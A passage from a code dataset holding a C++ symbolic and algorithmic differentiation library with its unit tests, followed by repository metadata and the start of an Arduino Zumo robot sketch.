for (auto const& item : values_) {
ostr << std::left << std::setw(4) << item.first << "=>" << item.second << "\n";
}
}
private:
std::unordered_map<std::string, double> values_;
};
struct StringTemplatePiece {
virtual ~StringTemplatePiece() = default;
virtual void Emit(SymbolMap const& S, std::ostream& out)const = 0;
};
struct StringTemplatePiece_String : StringTemplatePiece {
explicit StringTemplatePiece_String(std::string const& s) :s_{ s } {}
virtual void Emit(SymbolMap const& S, std::ostream& out)const {
out << s_;
}
private:
std::string s_;
};
struct StringTemplatePiece_Sym :StringTemplatePiece {
explicit StringTemplatePiece_Sym(std::string const& sym) :sym_{ sym } {}
virtual void Emit(SymbolMap const& S, std::ostream& out)const {
if (auto ptr = S.MaybeValue(sym_)) {
out << *ptr;
}
else {
out << sym_;
}
}
private:
std::string sym_;
};
struct StringTemplate {
template<class T, class... Args>
void Add(Args&&... args){
auto ptr = std::make_shared<T>(args...);
vec_.push_back(std::static_pointer_cast<StringTemplatePiece>(ptr));
}
std::string Render(SymbolMap const& S)const{
std::stringstream ss;
for (auto const& ptr : vec_) {
ptr->Emit(S, ss);
}
return ss.str();
}
private:
std::vector<std::shared_ptr<StringTemplatePiece> > vec_;
};
struct Expr {
virtual ~Expr() = default;
virtual double Eval(SymbolMap const& S)const = 0;
virtual std::shared_ptr<Expr> Diff(std::string const& sym)const = 0;
virtual void StringRepresentation(StringTemplate&)const = 0;
virtual bool IsZero()const {
return false;
}
};
struct Polynomial : Expr {
struct Factor {
std::string Symbol;
int Exponent;
};
struct Term {
double Multiple{ 1.0 };
std::vector<Factor> Factors;
};
static std::shared_ptr<Polynomial> Make(
std::string const& sym_0, int exp_0) {
auto result = std::make_shared<Polynomial>();
result->MakeTerm()
.AddFactor(sym_0, exp_0);
return result;
}
static std::shared_ptr<Polynomial> Make(
std::string const& sym_0, int exp_0,
std::string const& sym_1, int exp_1) {
auto result = std::make_shared<Polynomial>();
result->MakeTerm()
.AddFactor(sym_0, exp_0)
.AddFactor(sym_1, exp_1);
return result;
}
struct TermProxy {
TermProxy& AddFactor(std::string const& sym, int exp) {
mem_->Factors.push_back(Factor{ sym, exp });
return *this;
}
void Multiple(double x) {
mem_->Multiple = x;
}
Term* mem_;
};
TermProxy MakeTerm() {
terms_.emplace_back();
return TermProxy{ &terms_.back() };
}
void Constant(double c) {
constant_ = c;
}
static std::shared_ptr<Expr> MakeConstant(double c) {
auto ptr = std::make_shared<Polynomial>();
ptr->Constant(c);
return ptr;
}
static std::shared_ptr<Expr> One() {
return MakeConstant(1.0);
}
static std::shared_ptr<Expr> Zero() {
return MakeConstant(0.0);
}
virtual double Eval(SymbolMap const& S)const {
double result = constant_;
for (auto const& term : terms_) {
if (term.Factors.empty())
continue;
double sub_result = term.Multiple;
for (auto const& factor : term.Factors) {
sub_result *= std::pow(S.Value(factor.Symbol), static_cast<double>(factor.Exponent));
}
result += sub_result;
//std::cout << "-- sub_result => " << sub_result << "\n";
}
return result;
}
virtual std::shared_ptr<Expr> Diff(std::string const& sym)const {
// don't need the constant, but we get a new one a x + b -> a etc
double constant_term = 0.0;
auto result = std::make_shared<Polynomial>();
for (auto const& term : terms_) {
Term diff_term;
diff_term.Multiple = term.Multiple;
bool keep_term = false;
// do nothing for degenerate case
for(auto const& factor : term.Factors){
if (factor.Symbol == sym){
if (factor.Exponent != 1) {
diff_term.Factors.push_back(Factor{ factor.Symbol, factor.Exponent - 1 });
diff_term.Multiple *= factor.Exponent;
}
keep_term = true;
}
else {
diff_term.Factors.push_back(factor);
}
}
if (keep_term) {
if (diff_term.Factors.empty()) {
constant_term += diff_term.Multiple;
} else {
result->terms_.push_back(diff_term);
}
}
}
result->Constant(constant_term);
return std::static_pointer_cast<Expr>(result);
}
virtual void StringRepresentation(StringTemplate& SR)const {
for (size_t idx = 0; idx != terms_.size(); ++idx) {
if (idx != 0)
SR.Add<StringTemplatePiece_String>("+ ");
if (terms_[idx].Multiple != 1.0 || terms_[idx].Factors.empty() ) {
std::stringstream ss;
ss << terms_[idx].Multiple;
SR.Add<StringTemplatePiece_String>(ss.str());
}
for (auto const& term : terms_[idx].Factors) {
SR.Add<StringTemplatePiece_Sym>(term.Symbol);
if (term.Exponent != 1) {
std::stringstream ss;
ss << "^" << term.Exponent;
SR.Add<StringTemplatePiece_String>(ss.str());
}
SR.Add<StringTemplatePiece_String>(" ");
}
}
}
virtual bool IsZero()const {
for (auto const& term : terms_) {
if (term.Factors.size() > 0 && term.Multiple != 0.0)
return false;
}
return true;
}
private:
double constant_{ 0 };
std::vector<Term> terms_;
};
struct BinaryOperator : Expr {
BinaryOperator(char op,
std::shared_ptr<Expr> const& lp,
std::shared_ptr<Expr> const& rp)
: op_{ op }, lp_{ lp }, rp_{ rp }
{}
virtual double Eval(SymbolMap const& S)const {
auto computed_lp = lp_->Eval(S);
auto computed_rp = rp_->Eval(S);
switch (op_) {
case '+':
return computed_lp + computed_rp;
case '-':
return computed_lp - computed_rp;
case '*':
return computed_lp * computed_rp;
case '/':
return computed_lp / computed_rp;
default:
throw std::domain_error("unknown op");
}
}
virtual std::shared_ptr<Expr> Diff(std::string const& sym)const {
auto diff_lp = lp_->Diff(sym);
auto diff_rp = rp_->Diff(sym);
switch (op_) {
case '+':
{
#if 0
if (diff_lp->IsZero()) {
if (diff_rp->IsZero()) {
return std::make_shared<Polynomial>();
}
return diff_rp;
}
else {
if (diff_rp->IsZero()) {
return diff_lp;
}
return std::static_pointer_cast<Expr>(
std::make_shared<BinaryOperator>(
'+',
diff_lp,
diff_rp
)
);
}
#endif
return std::static_pointer_cast<Expr>(
std::make_shared<BinaryOperator>(
'+',
diff_lp,
diff_rp
)
);
}
case '-':
{
return std::static_pointer_cast<Expr>(
std::make_shared<BinaryOperator>(
'-',
lp_->Diff(sym),
rp_->Diff(sym)
)
);
}
case '*':
{
std::vector<std::shared_ptr<Expr> > terms;
//if (!diff_lp->IsZero())
{
terms.push_back(std::static_pointer_cast<Expr>(
std::make_shared<BinaryOperator>(
'*',
lp_->Diff(sym),
rp_
)
));
}
//if (!diff_rp->IsZero())
{
terms.push_back(std::static_pointer_cast<Expr>(
std::make_shared<BinaryOperator>(
'*',
lp_,
rp_->Diff(sym)
)
));
}
switch (terms.size()) {
case 0:
return std::make_shared<Polynomial>();
case 1:
return terms[0];
case 2:
return std::make_shared<BinaryOperator>(
'+',
terms[0], terms[1]);
default:
;
//_assume(0);
}
}
// f(x)^-1 = (-1)f(x)^-2 f'(x)
case '/':
throw std::domain_error("D for divide not impleented");
default:
throw std::domain_error("unknown op");
}
}
virtual void StringRepresentation(StringTemplate& SR)const {
SR.Add<StringTemplatePiece_String>("(");
lp_->StringRepresentation(SR);
SR.Add<StringTemplatePiece_String>(")");
SR.Add<StringTemplatePiece_String>(std::string{ op_ });
SR.Add<StringTemplatePiece_String>("(");
rp_->StringRepresentation(SR);
SR.Add<StringTemplatePiece_String>(")");
}
private:
char op_;
std::shared_ptr<Expr> lp_;
std::shared_ptr<Expr> rp_;
};
void PrintDiff(std::shared_ptr<Expr> const& ptr, std::vector<std::string> const& D) {
StringTemplate expr_st;
ptr->StringRepresentation(expr_st);
auto root = ptr;
for (auto const& sym : D) {
root = root->Diff(sym);
}
StringTemplate tpl;
root->StringRepresentation(tpl);
SymbolMap S;
std::stringstream D_sstr;
for (auto const& s : D) {
D_sstr << ", " << s;
}
std::cout << "D[" << expr_st.Render(S) << D_sstr.str() << "] => " << tpl.Render(S) << "\n";
}
struct Sin : Expr {
explicit Sin(std::shared_ptr<Expr> const& arg) :arg_{ arg } {}
virtual double Eval(SymbolMap const& S)const {
auto computed_param = arg_->Eval(S);
return std::sin(computed_param);
}
virtual std::shared_ptr<Expr> Diff(std::string const& sym)const;
virtual void StringRepresentation(StringTemplate& SR)const {
SR.Add<StringTemplatePiece_String>("sin(");
arg_->StringRepresentation(SR);
SR.Add<StringTemplatePiece_String>(")");
}
private:
std::shared_ptr<Expr> arg_;
};
struct Cos : Expr {
explicit Cos(std::shared_ptr<Expr> const& arg) :arg_{ arg } {}
virtual double Eval(SymbolMap const& S)const {
auto computed_param = arg_->Eval(S);
return std::cos(computed_param);
}
virtual std::shared_ptr<Expr> Diff(std::string const& sym)const;
virtual void StringRepresentation(StringTemplate& SR)const {
SR.Add<StringTemplatePiece_String>("cos(");
arg_->StringRepresentation(SR);
SR.Add<StringTemplatePiece_String>(")");
}
private:
std::shared_ptr<Expr> arg_;
};
std::shared_ptr<Expr> Sin::Diff(std::string const& sym)const {
auto arg_diff = arg_->Diff(sym);
return std::static_pointer_cast<Expr>(
std::make_shared<BinaryOperator>(
'*',
std::make_shared<Cos>(arg_),
std::static_pointer_cast<Expr>(arg_diff)
)
);
}
std::shared_ptr<Expr> Cos::Diff(std::string const& sym)const {
auto arg_diff = arg_->Diff(sym);
auto zero = std::make_shared<Polynomial>();
zero->MakeTerm().Multiple(0.0);
return std::static_pointer_cast<Expr>(
std::make_shared<BinaryOperator>(
'-',
zero,
std::make_shared<BinaryOperator>(
'*',
std::make_shared<Sin>(arg_),
std::static_pointer_cast<Expr>(arg_diff)
)
)
);
}
struct Exp : Expr {
explicit Exp(std::shared_ptr<Expr> const& arg) :arg_{ arg } {}
virtual double Eval(SymbolMap const& S)const {
auto computed_param = arg_->Eval(S);
return std::exp(computed_param);
}
virtual std::shared_ptr<Expr> Diff(std::string const& sym)const {
return std::make_shared<BinaryOperator>(
'*',
std::make_shared<Exp>(arg_),
arg_->Diff(sym));
}
virtual void StringRepresentation(StringTemplate& SR)const {
SR.Add<StringTemplatePiece_String>("exp(");
arg_->StringRepresentation(SR);
SR.Add<StringTemplatePiece_String>(")");
}
private:
std::shared_ptr<Expr> arg_;
};
struct Log : Expr {
explicit Log(std::shared_ptr<Expr> const& arg) :arg_{ arg } {}
virtual double Eval(SymbolMap const& S)const {
auto computed_param = arg_->Eval(S);
return std::log(computed_param);
}
virtual std::shared_ptr<Expr> Diff(std::string const& sym)const {
return std::make_shared<BinaryOperator>(
'*',
std::make_shared<BinaryOperator>(
'/',
Polynomial::One(),
arg_
),
arg_->Diff(sym));
}
virtual void StringRepresentation(StringTemplate& SR)const {
SR.Add<StringTemplatePiece_String>("log(");
arg_->StringRepresentation(SR);
SR.Add<StringTemplatePiece_String>(")");
}
private:
std::shared_ptr<Expr> arg_;
};
void TestDriver1() {
auto poly = std::make_shared<Polynomial>();
auto t0 = poly->MakeTerm();
t0.AddFactor("a", 2);
t0.AddFactor("b", 3);
auto expr = std::static_pointer_cast<Expr>(poly);
PrintDiff(expr, { "a" });
PrintDiff(expr, { "a", "a" });
PrintDiff(expr, { "a", "a", "a" });
PrintDiff(expr, { "b" });
SymbolMap S;
S.Define("a", 7);
S.Define("b", 3);
std::cout << "value = " << expr->Eval(S) << "\n";
auto X = std::make_shared<Polynomial>();
X->MakeTerm().AddFactor("x", 1);
auto Y = std::make_shared<Polynomial>();
Y->MakeTerm().AddFactor("y", 2);
auto X_plus_Y = std::static_pointer_cast<Expr>(
std::make_shared<BinaryOperator>('*',
std::static_pointer_cast<Expr>(X),
std::static_pointer_cast<Expr>(Y)));
PrintDiff(X_plus_Y, { "x" });
PrintDiff(X_plus_Y, { "y" });
auto AB = std::make_shared<Polynomial>();
AB->MakeTerm().AddFactor("a", 1).AddFactor("b", 1);
auto CBB = std::make_shared<Polynomial>();
CBB->MakeTerm().AddFactor("c", 1).AddFactor("b", 2);
auto AAACC = std::make_shared<Polynomial>();
AAACC->MakeTerm().AddFactor("a", 3)
.AddFactor("c", 2)
;
#if 1
auto U = std::make_shared<BinaryOperator>(
'+',
std::make_shared<BinaryOperator>(
'+',
std::make_shared<Sin>(AB),
CBB
),
AAACC);
#else
auto U =
AAACC;
#endif
PrintDiff(U, { "a" });
PrintDiff(U, { "b" });
PrintDiff(U, { "c" });
auto test_U = [&](auto a, auto b, auto c) {
auto analytic_u = std::sin(a*b) + c * b * b + a*a*a*c*c;
auto analytic_d_u_d_a = b*std::cos(a*b) + 3*a*a*c*c;
SymbolMap sm;
sm.Define("a", a);
sm.Define("b", b);
sm.Define("c", c);
auto computed_u = U->Eval(sm);
std::cout << "analytic_u: " << computed_u << "\n";
std::cout << "computed_u: " << computed_u << "\n";
std::cout << "analytic_d_u_d_a: " << analytic_d_u_d_a << "\n";
auto computed_d_u_d_a = U->Diff("a")->Eval(sm);
std::cout << "computed_d_u_d_a: " << computed_d_u_d_a << "\n";
std::cout << "b*std::cos(a*b) = " << b*std::cos(a*b) << "\n";
std::cout << "3*a*a*c*c = " << 3 * a*a*c*c << "\n";
};
auto a = 0.1;
auto b = 0.1;
auto c = 3.0;
test_U(a, b, c);
}
struct UnitSimple : CandyTestFramework::Unit {
UnitSimple() : CandyTestFramework::Unit("UnitSimple", SOURCE_INFO()) {}
virtual void RunUnit(CandyTestFramework::CandyTestContextUnit* unit)const override {
auto X = std::make_shared<Polynomial>();
X->MakeTerm().AddFactor("x", 3);
auto Y = std::make_shared<Polynomial>();
Y->MakeTerm().AddFactor("y", 2);
auto X_times_Y = std::static_pointer_cast<Expr>(
std::make_shared<BinaryOperator>('*',
std::static_pointer_cast<Expr>(X),
std::static_pointer_cast<Expr>(Y)));
auto X_plus_Y = std::static_pointer_cast<Expr>(
std::make_shared<BinaryOperator>('+',
std::static_pointer_cast<Expr>(X),
std::static_pointer_cast<Expr>(Y)));
auto X_plus_zero = std::static_pointer_cast<Expr>(
std::make_shared<BinaryOperator>('+',
std::static_pointer_cast<Expr>(X),
std::make_shared<Polynomial>()));
auto x = 2.0;
auto y = 3.0;
SymbolMap sm;
sm.Define("x", x);
sm.Define("y", y);
unit->CheckEqWithExpr(x*x*x, X->Eval(sm));
unit->CheckEqWithExpr(3 * x*x, X->Diff("x")->Eval(sm));
unit->CheckEqWithExpr(6 * x, X->Diff("x")->Diff("x")->Eval(sm));
unit->CheckEqWithExpr(6.0, X->Diff("x")->Diff("x")->Diff("x")->Eval(sm));
unit->CheckEqWithExpr(x*x*x, X_plus_zero->Eval(sm));
unit->CheckEqWithExpr(3 * x*x, X_plus_zero->Diff("x")->Eval(sm));
unit->CheckEqWithExpr(6 * x, X_plus_zero->Diff("x")->Diff("x")->Eval(sm));
unit->CheckEqWithExpr(6.0, X_plus_zero->Diff("x")->Diff("x")->Diff("x")->Eval(sm));
unit->CheckEqWithExpr(x*x*x + y*y , X_plus_Y->Eval(sm));
unit->CheckEqWithExpr(3 * x*x , X_plus_Y->Diff("x")->Eval(sm));
unit->CheckEqWithExpr( 2 * y, X_plus_Y->Diff("y")->Eval(sm));
unit->CheckEqWithExpr(x*x*x*y*y, X_times_Y->Eval(sm));
unit->CheckEqWithExpr(3 * x*x*y*y, X_times_Y->Diff("x")->Eval(sm));
unit->CheckEqWithExpr(2 * x*x*x*y, X_times_Y->Diff("y")->Eval(sm));
auto Log_X = std::make_shared<Log>(X);
auto Exp_X = std::make_shared<Exp>(X);
unit->CheckEqWithExpr(std::log(x*x*x), Log_X->Eval(sm));
unit->CheckEqWithExpr((1 / (x*x*x)) * 3 * x*x, Log_X->Diff("x")->Eval(sm));
unit->CheckEqWithExpr(std::exp(x*x*x), Exp_X->Eval(sm));
unit->CheckEqWithExpr(std::exp(x*x*x) * 3 * x*x, Exp_X->Diff("x")->Eval(sm));
}
};
static UnitSimple RegUnitSimple;
struct UnitSimpleB : CandyTestFramework::Unit {
UnitSimpleB() : CandyTestFramework::Unit("UnitSimpleB", SOURCE_INFO()) {}
virtual void RunUnit(CandyTestFramework::CandyTestContextUnit* unit)const override {
auto AB = std::make_shared<Polynomial>();
AB->MakeTerm().AddFactor("a", 1).AddFactor("b", 1);
auto CBB = std::make_shared<Polynomial>();
CBB->MakeTerm().AddFactor("c", 1).AddFactor("b", 2);
auto AAACC = std::make_shared<Polynomial>();
AAACC->MakeTerm().AddFactor("a", 3).AddFactor("c", 2);
auto Sin_AB = std::make_shared<Sin>(AB);
auto a = 0.1;
auto b = 0.1;
auto c = 3.0;
SymbolMap sm;
sm.Define("a", a);
sm.Define("b", b);
sm.Define("c", c);
unit->CheckEqWithExpr(std::sin(a*b), Sin_AB->Eval(sm));
unit->CheckEqWithExpr(b*std::cos(a*b), Sin_AB->Diff("a")->Eval(sm));
unit->CheckEqWithExpr(a*std::cos(a*b), Sin_AB->Diff("b")->Eval(sm));
unit->CheckEqWithExpr(a*a*a*c*c, AAACC->Eval(sm));
unit->CheckEqWithExpr(3 * a*a*c*c, AAACC->Diff("a")->Eval(sm));
unit->CheckEqWithExpr(0.0, AAACC->Diff("x")->Eval(sm));
auto U = std::make_shared<BinaryOperator>(
'+',
std::make_shared<BinaryOperator>(
'+',
std::make_shared<Sin>(AB),
CBB
),
AAACC);
unit->CheckEqWithExpr(b*std::cos(a*b) + 3 * a*a*c*c, U->Diff("a")->Eval(sm));
unit->CheckEqWithExpr(a*std::cos(a*b) + 2 * c*b, U->Diff("b")->Eval(sm));
unit->CheckEqWithExpr(b*b + 2 * a*a*a*c, U->Diff("c")->Eval(sm));
// increase the information
auto u = U->Eval(sm);
sm.Define("u", u);
// u^2-1
auto UU = std::make_shared<Polynomial>();
UU->MakeTerm().AddFactor("u", 2);
UU->Constant(-1.0);
auto AA = std::make_shared<Polynomial>();
AA->MakeTerm().AddFactor("a", 2);
auto V = std::make_shared<BinaryOperator>(
'+',
std::make_shared<Exp>(UU),
AA);
unit->CheckEqWithExpr(std::exp(u*u - 1) + a*a, V->Eval(sm));
unit->CheckEqWithExpr(2*u*std::exp(u*u - 1) , V->Diff("u")->Eval(sm));
unit->CheckEqWithExpr(2*a, V->Diff("a")->Eval(sm));
unit->CheckEqWithExpr(0, V->Diff("b")->Eval(sm));
unit->CheckEqWithExpr(0, V->Diff("c")->Eval(sm));
// increase the information
auto v = V->Eval(sm);
sm.Define("v", v);
auto VV_p1 = std::make_shared<Polynomial>();
VV_p1->MakeTerm().AddFactor("v", 2);
VV_p1->Constant(1.0);
auto CC_m1 = std::make_shared<Polynomial>();
CC_m1->MakeTerm().AddFactor("c", 2);
CC_m1->Constant(-1.0);
auto W = std::make_shared<BinaryOperator>(
'+',
std::make_shared<Log>(VV_p1),
std::make_shared<Cos>(CC_m1));
unit->CheckEqWithExpr(std::log(v*v + 1) , std::make_shared<Log>(VV_p1)->Eval(sm));
unit->CheckEqWithExpr(std::cos(c*c - 1), std::make_shared<Cos>(CC_m1)->Eval(sm));
unit->CheckEqWithExpr(std::log(v*v + 1) + std::cos(c*c - 1), W->Eval(sm));
// increase the information
auto w = W->Eval(sm);
auto w0 = 0.25;
sm.Define("w", w);
sm.Define("w0", w0);
auto W_ = std::make_shared<Polynomial>();
W_->MakeTerm().AddFactor("w",1);
auto W0 = std::make_shared<Polynomial>();
W0->MakeTerm().AddFactor("w0",1);
auto W_minus_W0 = std::make_shared<BinaryOperator>(
'-',
Polynomial::Make("w", 1),
Polynomial::Make("w0", 1));
auto F = std::make_shared<BinaryOperator>(
'*',
W_minus_W0,
W_minus_W0
);
unit->CheckEqWithExpr(std::pow(w- w0, 2.0), F->Eval(sm));
}
};
static UnitSimpleB RegUnitSimpleB;
struct UnitSimpleC : CandyTestFramework::Unit {
UnitSimpleC() : CandyTestFramework::Unit("UnitSimpleC", SOURCE_INFO()) {}
virtual void RunUnit(CandyTestFramework::CandyTestContextUnit* unit)const override {
auto a = 0.1;
auto b = 0.1;
auto c = 3.0;
SymbolMap sm;
sm.Define("a", a);
sm.Define("b", b);
sm.Define("c", c);
auto U = std::make_shared<BinaryOperator>(
'+',
std::make_shared<BinaryOperator>(
'+',
std::make_shared<Sin>(Polynomial::Make("a", 1, "b", 1)),
Polynomial::Make("c", 1, "b", 2)
),
Polynomial::Make("a", 3, "c", 2)
);
unit->CheckEqWithExpr(b*std::cos(a*b) + 3 * a*a*c*c, U->Diff("a")->Eval(sm));
unit->CheckEqWithExpr(a*std::cos(a*b) + 2 * c*b, U->Diff("b")->Eval(sm));
unit->CheckEqWithExpr(b*b + 2 * a*a*a*c, U->Diff("c")->Eval(sm));
// increase the information
auto u = U->Eval(sm);
sm.Define("u", u);
auto V = std::make_shared<BinaryOperator>(
'+',
std::make_shared<Exp>(
std::make_shared<BinaryOperator>(
'-',
Polynomial::Make("u",2),
Polynomial::MakeConstant(1)
)
),
Polynomial::Make("a", 2)
);
unit->CheckEqWithExpr(std::exp(u*u - 1) + a*a, V->Eval(sm));
unit->CheckEqWithExpr(2 * u*std::exp(u*u - 1), V->Diff("u")->Eval(sm));
unit->CheckEqWithExpr(2 * a, V->Diff("a")->Eval(sm));
unit->CheckEqWithExpr(0, V->Diff("b")->Eval(sm));
unit->CheckEqWithExpr(0, V->Diff("c")->Eval(sm));
// increase the information
auto v = V->Eval(sm);
sm.Define("v", v);
auto W = std::make_shared<BinaryOperator>(
'+',
std::make_shared<Log>(
std::make_shared<BinaryOperator>(
'+',
Polynomial::Make("v", 2),
Polynomial::MakeConstant(1.0)
)
),
std::make_shared<Cos>(
std::make_shared<BinaryOperator>(
'-',
Polynomial::Make("c", 2),
Polynomial::MakeConstant(1.0)
)
)
);
unit->CheckEqWithExpr(std::log(v*v + 1) + std::cos(c*c - 1), W->Eval(sm));
// increase the information
auto w = W->Eval(sm);
auto constexpr w0 = 2.0;
sm.Define("w", w);
sm.Define("w0", w0);
auto F = std::make_shared<BinaryOperator>(
'*',
std::make_shared<BinaryOperator>(
'-',
Polynomial::Make("w", 1),
Polynomial::Make("w0", 1)),
std::make_shared<BinaryOperator>(
'-',
Polynomial::Make("w", 1),
Polynomial::Make("w0", 1))
);
unit->CheckEqWithExpr(std::pow(w - w0, 2.0), F->Eval(sm));
unit->CheckEqWithExpr( 2*(w - w0), F->Diff("w")->Eval(sm));
SymbolMap information;
information.Define("a", a);
information.Define("b", b);
information.Define("c", c);
information.Define("D[a]", 1);
information.Define("D[b]", 0);
information.Define("D[c]", 0);
information.Define("w0", w0);
information.Define("u", U->Eval(information));
information.Define("v", V->Eval(information));
information.Define("w", W->Eval(information));
auto matrix_comp_0 = Matrix_ty(4, 3);
matrix_comp_0.fill(0.0);
matrix_comp_0(0, 0) = 1;
matrix_comp_0(1, 1) = 1;
matrix_comp_0(2, 2) = 1;
matrix_comp_0(3, 0) = U->Diff("a")->Eval(information);
matrix_comp_0(3, 1) = U->Diff("b")->Eval(information);
matrix_comp_0(3, 2) = U->Diff("c")->Eval(information);
std::cout << matrix_comp_0 << "\n";
auto input_0 = Vector_ty(3);
input_0(0) = information.Value("D[a]");
input_0(1) = information.Value("D[b]");
input_0(2) = information.Value("D[c]");
auto comp_0 = matrix_comp_0 * input_0;
std::cout << "comp_0\n" << comp_0 << "\n";
information.Define("D[u]", comp_0(3));
auto matrix_comp_1 = Matrix_ty(1, 2);
matrix_comp_1(0) = V->Diff("a")->Eval(information);
matrix_comp_1(1) = V->Diff("u")->Eval(information);
std::cout << matrix_comp_1 << "\n";
auto input_1 = Vector_ty(2);
input_1(0) = information.Value("D[a]");
input_1(1) = information.Value("D[u]");
auto comp_1 = matrix_comp_1 * input_1;
std::cout << "comp_1\n" << comp_1 << "\n";
information.Define("D[v]", comp_1(0));
auto matrix_comp_2 = Matrix_ty(1, 2);
matrix_comp_2(0) = W->Diff("v")->Eval(information);
matrix_comp_2(1) = W->Diff("c")->Eval(information);
std::cout << "matrix_comp_2\n" << matrix_comp_2 << "\n";
auto input_2 = Vector_ty(2);
input_2(0) = information.Value("D[v]");
input_2(1) = information.Value("D[c]");
auto comp_2 = matrix_comp_2 * input_2;
std::cout << "comp_2\n" << comp_2 << "\n";
information.Define("D[w]", comp_2(0));
auto matrix_comp_3 = Matrix_ty(1, 1);
matrix_comp_3(0, 0) = F->Diff("w")->Eval(information);
std::cout << "matrix_comp_3\n" << matrix_comp_3 << "\n";
auto input_3 = Vector_ty(1);
input_3(0) = information.Value("D[w]");
auto comp_3 = matrix_comp_3 * input_3;
std::cout << "comp_3\n" << comp_3 << "\n";
std::cout << "F(X) = " << F->Eval(sm) << "\n";
std::cout << "df/da = " << comp_3(0) << "\n";
auto d = Vector_ty(7);
d(0) = information.Value("D[a]");
d(1) = information.Value("D[b]");
d(2) = information.Value("D[c]");
d(3) = information.Value("D[u]");
d(4) = information.Value("D[v]");
d(5) = information.Value("D[w]");
d(6) = comp_3(0);
std::cout << "d=\n" << d << "\n";
information.Report();
}
};
static UnitSimpleC RegUnitSimpleC;
struct UnitSimpleD : CandyTestFramework::Unit {
UnitSimpleD() : CandyTestFramework::Unit("UnitSimpleD", SOURCE_INFO()) {}
virtual void RunUnit(CandyTestFramework::CandyTestContextUnit* unit)const override {
auto x = 3.0;
SymbolMap sm;
sm.Define("x", x);
unit->CheckEqWithExpr(x*x*x, Polynomial::Make("x", 3)->Eval(sm));
unit->CheckEqWithExpr(3*x*x, Polynomial::Make("x", 3)->Diff("x")->Eval(sm));
unit->CheckEqWithExpr(6*x, Polynomial::Make("x", 3)->Diff("x")->Diff("x")->Eval(sm));
unit->CheckEqWithExpr(6 , Polynomial::Make("x", 3)->Diff("x")->Diff("x")->Diff("x")->Eval(sm));
unit->CheckEqWithExpr(0, Polynomial::Make("x", 3)->Diff("x")->Diff("x")->Diff("x")->Diff("x")->Eval(sm));
unit->CheckEqWithExpr(3*x*x, std::make_shared<BinaryOperator>('*',
Polynomial::MakeConstant(3.0),
Polynomial::Make("x", 2)
)->Eval(sm));
unit->CheckEqWithExpr(6 , std::make_shared<BinaryOperator>('*',
Polynomial::MakeConstant(6.0),
Polynomial::Make("x", 1)
)->Diff("x")->Eval(sm));
}
};
static UnitSimpleD RegUnitSimpleD;
struct UnitSimpleE : CandyTestFramework::Unit {
UnitSimpleE() : CandyTestFramework::Unit("UnitSimpleE", SOURCE_INFO()) {}
virtual void RunUnit(CandyTestFramework::CandyTestContextUnit* unit)const override {
auto U = std::make_shared<BinaryOperator>(
'+',
std::make_shared<BinaryOperator>(
'+',
std::make_shared<Sin>(Polynomial::Make("a", 1, "b", 1)),
Polynomial::Make("c", 1, "b", 2)
),
Polynomial::Make("a", 3, "c", 2)
);
auto V = std::make_shared<BinaryOperator>(
'+',
std::make_shared<Exp>(
std::make_shared<BinaryOperator>(
'-',
Polynomial::Make("u", 2),
Polynomial::MakeConstant(1)
)
),
Polynomial::Make("a", 2)
);
auto W = std::make_shared<BinaryOperator>(
'+',
std::make_shared<Log>(
std::make_shared<BinaryOperator>(
'+',
Polynomial::Make("v", 2),
Polynomial::MakeConstant(1.0)
)
),
std::make_shared<Cos>(
std::make_shared<BinaryOperator>(
'-',
Polynomial::Make("c", 2),
Polynomial::MakeConstant(1.0)
)
)
);
auto F = std::make_shared<BinaryOperator>(
'*',
std::make_shared<BinaryOperator>(
'-',
Polynomial::Make("w", 1),
Polynomial::Make("w0", 1)),
std::make_shared<BinaryOperator>(
'-',
Polynomial::Make("w", 1),
Polynomial::Make("w0", 1))
);
struct State {
std::vector<std::string> Allocation;
SymbolMap Symbols;
};
struct Operator {
virtual ~Operator() = default;
virtual std::shared_ptr<State> ExecuteNext(State const& state)const = 0;
};
struct Step : Operator {
Step(std::string const& sym, std::shared_ptr<Expr> expr)
:sym_{ sym }, expr_ {expr}
{}
virtual std::shared_ptr<State> ExecuteNext(State const& state)const
{
/*
first we make the matrix
*/
size_t n = state.Allocation.size();
auto inputs = Vector_ty(n);
auto diffs = Vector_ty(n);
for (size_t idx = 0; idx != state.Allocation.size(); ++idx) {
auto const& sym = state.Allocation[idx];
auto d_sym = "D[" + sym + "]";
inputs(idx) = state.Symbols.Value(d_sym);
diffs(idx) = expr_->Diff(sym)->Eval(state.Symbols);
}
auto d = diffs.dot(inputs);
enum { Debug = 0 };
if (Debug)
{
std::cout << "==== " << sym_ << " D ====\n" << inputs << "\n"
<< "==== " << sym_ << " M ====\n" << diffs << "\n"
<< "==== " << sym_ << " result => " << d << "\n";
}
auto next = std::make_shared<State>(state);
next->Allocation.push_back(sym_);
next->Symbols.Define(sym_, expr_->Eval(next->Symbols));
next->Symbols.Define("D[" + sym_ + "]", d);
return next;
}
private:
std::string sym_;
std::shared_ptr<Expr> expr_;
};
auto a = 0.1;
auto b = 0.1;
auto c = 3.0;
// parameters
auto constexpr w0 = 2.0;
auto state0 = std::make_shared<State>();
state0->Allocation.push_back("a");
state0->Allocation.push_back("b");
state0->Allocation.push_back("c");
state0->Symbols.Define("a", a);
state0->Symbols.Define("b", b);
state0->Symbols.Define("c", c);
state0->Symbols.Define("w0", w0);
state0->Symbols.Define("D[a]", 1);
state0->Symbols.Define("D[b]", 0);
state0->Symbols.Define("D[c]", 0);
std::vector<std::shared_ptr<Operator> > ops;
ops.push_back(std::make_shared<Step>("u", U));
ops.push_back(std::make_shared<Step>("v", V));
ops.push_back(std::make_shared<Step>("w", W));
ops.push_back(std::make_shared<Step>("f", F));
std::vector<std::shared_ptr<State> > filtration;
filtration.push_back(state0);
for (auto const& op : ops) {
auto next = op->ExecuteNext(*filtration.back());
filtration.push_back(next);
}
std::cout << "from machine => " << filtration.back()->Symbols.Value("D[f]") << "\n";
}
};
static UnitSimpleE RegUnitSimpleE;
} // end namespace Implementation1
int main() {
Implementation0::TestDriver();
Implementation1::TestDriver1();
CandyTestFramework::Unit::RunAll(CandyTestFramework::DefaultContext());
std::cin.get();
}
<file_sep># AD
algorithmic differentiation
| b529ccc64d233402d04e818e19838834e3f4f880 | [
"Markdown",
"CMake",
"C++"
] | 3 | CMake | sweeterthancandy/AD | 5fe116f1da8dfdbde6f24d39014a1acbfd76b728 | 034d581b759df5d6180066c0d36889c98c64c0b6 |
refs/heads/master | <file_sep>#include <Wire.h>
#include <ZumoShield.h>
ZumoMotors motors;
ZumoReflectanceSensorArray linesensors(QTR_NO_EMITTER_PIN);
void setup() {
int i;
int spin_direction = 1;
